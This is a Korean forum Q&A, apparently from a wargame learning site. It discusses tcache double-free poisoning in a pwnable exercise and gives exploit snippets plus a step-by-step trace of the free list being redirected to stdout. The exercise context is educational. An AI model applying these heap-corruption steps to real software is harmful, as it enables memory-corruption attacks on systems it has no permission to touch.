완료됨
BBBBBBBB 질문

alloc(0x30, b'dreamhack')
free()

edit(b'B'*8 + b'\x00')
free()

tcache[0x40]: chunk A -> stdout -> IO_2_1_stdout -> ...

addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))

tcache[0x40]: stdout -> IO_2_1_stdout -> ...

alloc(0x30, b'BBBBBBBB')

이 부분에서 BBBBBBBB 은 fd 부분의 주소를 수정했기 때문에

stdout -> IO_2_1_stdout -> ... -> dreamhack

-> 의 마지막 순서에 dreamhack 이 BBBBBBBB 주소를 가리키는 것 맞나요 ??

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
qwerty_io
대표 업적 없음
alloc(0x30, b'dreamhack')
free()

edit(b'B'*8 + b'\x00')
free()

addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))

alloc(0x30, b'BBBBBBBB')

은 아래와 같은 형태로 각각 변형됩니다.

1. tcache_head -> chunk A -> null             # alloc(0x30, b'dreamhack'); free()
2. tcache_head -> chunk A -> BBBBBBBB         # edit(b'B'*8 + b'\x00')
3. tcache_head -> chunk A -> chunk A -> ...   # free()
4. tcache_head -> chunk A -> stdout -> ...    # alloc(0x30, p64(addr_stdout))
5. tcache_head -> stdout -> ...               # alloc(0x30, b'BBBBBBBB')
2024.05.20. 18:07